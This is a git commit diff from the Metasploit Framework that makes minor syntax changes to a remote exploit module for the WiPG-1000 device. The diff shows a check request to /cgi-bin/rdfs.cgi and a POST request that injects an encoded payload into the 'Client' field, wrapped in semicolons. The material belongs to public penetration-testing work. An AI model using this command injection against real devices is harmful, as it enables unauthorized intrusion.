Land #8288, Minor changes to WiPG-1000 module

bug/bundler_fix
wchen-r7 2017-04-24 17:09:25 -05:00
commit 1d86905fca
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
1 changed files with 5 additions and 5 deletions

View File

@ -50,12 +50,12 @@ class MetasploitModule < Msf::Exploit::Remote
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/cgi-bin/rdfs.cgi')
'uri' => '/cgi-bin/rdfs.cgi'
})
if res and res.body =~ /Follow administrator instructions to enter the complete path/ then
return Exploit::CheckCode::Appears
if res && res.body.include?("Follow administrator instructions to enter the complete path")
Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
end
@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('Sending request')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/cgi-bin/rdfs.cgi'),
'uri' => '/cgi-bin/rdfs.cgi',
'vars_post' => {
'Client' => ";#{payload.encoded};",
'Download' => 'Download'